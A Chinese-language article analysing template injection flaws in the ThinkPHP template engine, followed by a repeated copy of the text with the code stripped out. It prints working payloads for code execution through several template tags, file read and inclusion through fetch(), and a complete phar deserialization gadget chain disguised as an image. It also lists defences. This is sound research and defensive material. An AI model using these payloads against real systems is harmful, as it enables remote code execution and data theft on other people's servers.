thinkphp模版存在多种注入方式
字数 1276 2025-08-24 07:48:34

ThinkPHP 模板注入漏洞全面分析与利用指南

1. 漏洞概述

ThinkPHP 模板引擎(think-view 和 think-template 模块)存在多种注入方式,攻击者可以通过控制模板内容来执行任意代码、读取文件或进行反序列化攻击。这些漏洞主要影响 ThinkPHP 框架的模板渲染功能,特别是 display()fetch() 方法。

2. 环境搭建

测试环境搭建步骤:

composer create-project topthink/think thinkphp8
cd thinkphp8
composer require topthink/think-view

3. 漏洞利用方式

3.1 使用 {php}{/php} 标签命令执行 (漏洞点1)

利用代码:

$template->display("{php}phpinfo(){/php}");

原理分析:

  1. 模板引擎解析 {php}{/php} 标签
  2. 将标签内容直接转换为 PHP 代码
  3. 写入缓存文件并包含执行

3.2 使用 PHP 短标签命令执行 (漏洞点2)

利用代码:

$template->display('111<?php phpinfo(); ?>');
// 或
$template->display('1111<?phpinfo()?>');

原理分析:

  • 模板引擎对原生 PHP 标签过滤不足
  • 直接保留标签内容并写入缓存文件

3.3 使用 include 标签实现文件操作 (漏洞点3)

文件包含执行:

$template->display("{include file='phpinfo.php' /}");

文件读取:

$template->display("{include file='file:///d:/1.txt' /}");

原理分析:

  1. 使用 file_get_contents 读取文件内容
  2. 支持 file 协议绕过 is_file 检查
  3. 不支持 data://、php://input、php://filter 协议

3.4 使用 define 标签命令执行 (漏洞点3)

利用代码:

$template->display('{define name="MY_DEFINE_NAME" value="\'.phpinfo();}//"}');

原理分析:

  • Cx 类处理内置标签时直接拼接参数到 PHP 代码中
  • 类似的内置标签(如 assign)也存在此问题

3.5 使用 assign 标签命令执行 (漏洞点4)

利用代码:

$template->display('111{assign name="var" value="$_GET[\'2222\'];phpinfo();//"}');

访问方式:

http://127.0.0.1:8054/index.php/payload/payload/payloadhtml?2222=a

3.6 使用符号标签命令执行 (漏洞点5)

利用代码:

$template->display("{:url('user/profile');phpinfo()}");

3.7 使用 fetch 方法文件读取 (漏洞点6)

利用代码:

$template->fetch("file:///d:/1.txt");

3.8 使用 fetch 方法文件包含 (漏洞点7)

利用代码:

$template->fetch('D:/path/to/malicious.jpg');

前提条件:

  • 需要上传包含恶意模板内容的文件(如

3.9 使用 fetch 方法反序列化 (漏洞点8)

利用代码:

$template->fetch('phar://D:/path/to/phar.jpg/test.txt');

限制条件:

  • 仅适用于 ThinkPHP < 8 (PHP < 8) 环境
  • 需要 phar.readonly = Off
  • PHP 8 及以上版本 phar 元信息不再自动反序列化

4. 反序列化利用详细说明

4.1 生成恶意 phar 文件

<?php
namespace League\Flysystem\Cached\Storage {
    class Psr6Cache {
        private $pool;
        protected $autosave = false;
        public function __construct($exp){
            $this->pool = $exp;
        }
    }
}

namespace think\log {
    class Channel {
        protected $logger;
        protected $lazy = true;
        public function __construct($exp){
            $this->logger = $exp;
            $this->lazy = false;
        }
    }
}

namespace think {
    class Request {
        protected $url;
        public function __construct(){
            $this->url = '<?php phpinfo(); exit(); ?>';
        }
    }
    
    class App {
        protected $instances = [];
        public function __construct(){
            $this->instances = ['think\Request' => new Request()];
        }
    }
}

namespace think\view\driver {
    class Php {}
}

namespace think\log\driver {
    class Socket {
        protected $config = [];
        protected $app;
        public function __construct(){
            $this->config = [
                'debug' => true,
                'force_client_ids' => 1,
                'allow_client_ids' => '',
                'format_head' => [new \think\view\driver\Php, 'display'],
            ];
            $this->app = new \think\App();
        }
    }
}

namespace {
    $c = new think\log\driver\Socket();
    $b = new think\log\Channel($c);
    $a = new League\Flysystem\Cached\Storage\Psr6Cache($b);
    
    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a". "<?php __HALT_COMPILER(); ?>");
    $phar->setMetadata($a);
    $phar->addFromString("test.txt", "33333");
    $phar->stopBuffering();
}

4.2 利用步骤

  1. 生成 phar.phar 文件
  2. 重命名为 phar.jpg 上传
  3. 通过 fetch 方法触发反序列化

5. 漏洞影响范围

  • 漏洞点1-7:影响所有 ThinkPHP 版本
  • 漏洞点8:仅影响 ThinkPHP < 8 (PHP < 8) 环境

6. 防御措施

  1. 升级到最新版本 ThinkPHP
  2. 对用户输入的模板内容进行严格过滤
  3. 禁用危险的内置标签
  4. 设置 phar.readonly = On
  5. 对文件包含操作进行白名单限制

7. 总结

ThinkPHP 模板引擎由于对用户输入处理不当,存在多种注入方式。攻击者可以通过控制模板内容实现命令执行、文件读取和反序列化攻击。开发人员应严格验证用户输入,避免直接将用户可控数据传递给模板渲染方法。

ThinkPHP 模板注入漏洞全面分析与利用指南 1. 漏洞概述 ThinkPHP 模板引擎(think-view 和 think-template 模块)存在多种注入方式,攻击者可以通过控制模板内容来执行任意代码、读取文件或进行反序列化攻击。这些漏洞主要影响 ThinkPHP 框架的模板渲染功能,特别是 display() 和 fetch() 方法。 2. 环境搭建 测试环境搭建步骤: 3. 漏洞利用方式 3.1 使用 {php}{/php} 标签命令执行 (漏洞点1) 利用代码 : 原理分析 : 模板引擎解析 {php}{/php} 标签 将标签内容直接转换为 PHP 代码 写入缓存文件并包含执行 3.2 使用 PHP 短标签命令执行 (漏洞点2) 利用代码 : 原理分析 : 模板引擎对原生 PHP 标签过滤不足 直接保留标签内容并写入缓存文件 3.3 使用 include 标签实现文件操作 (漏洞点3) 文件包含执行 : 文件读取 : 原理分析 : 使用 file_get_contents 读取文件内容 支持 file 协议绕过 is_ file 检查 不支持 data://、php://input、php://filter 协议 3.4 使用 define 标签命令执行 (漏洞点3) 利用代码 : 原理分析 : Cx 类处理内置标签时直接拼接参数到 PHP 代码中 类似的内置标签(如 assign)也存在此问题 3.5 使用 assign 标签命令执行 (漏洞点4) 利用代码 : 访问方式 : 3.6 使用符号标签命令执行 (漏洞点5) 利用代码 : 3.7 使用 fetch 方法文件读取 (漏洞点6) 利用代码 : 3.8 使用 fetch 方法文件包含 (漏洞点7) 利用代码 : 前提条件 : 需要上传包含恶意模板内容的文件(如 ) 3.9 使用 fetch 方法反序列化 (漏洞点8) 利用代码 : 限制条件 : 仅适用于 ThinkPHP < 8 (PHP < 8) 环境 需要 phar.readonly = Off PHP 8 及以上版本 phar 元信息不再自动反序列化 4. 反序列化利用详细说明 4.1 生成恶意 phar 文件 4.2 利用步骤 生成 phar.phar 文件 重命名为 phar.jpg 上传 通过 fetch 方法触发反序列化 5. 漏洞影响范围 漏洞点1-7:影响所有 ThinkPHP 版本 漏洞点8:仅影响 ThinkPHP < 8 (PHP < 8) 环境 6. 防御措施 升级到最新版本 ThinkPHP 对用户输入的模板内容进行严格过滤 禁用危险的内置标签 设置 phar.readonly = On 对文件包含操作进行白名单限制 7. 总结 ThinkPHP 模板引擎由于对用户输入处理不当,存在多种注入方式。攻击者可以通过控制模板内容实现命令执行、文件读取和反序列化攻击。开发人员应严格验证用户输入,避免直接将用户可控数据传递给模板渲染方法。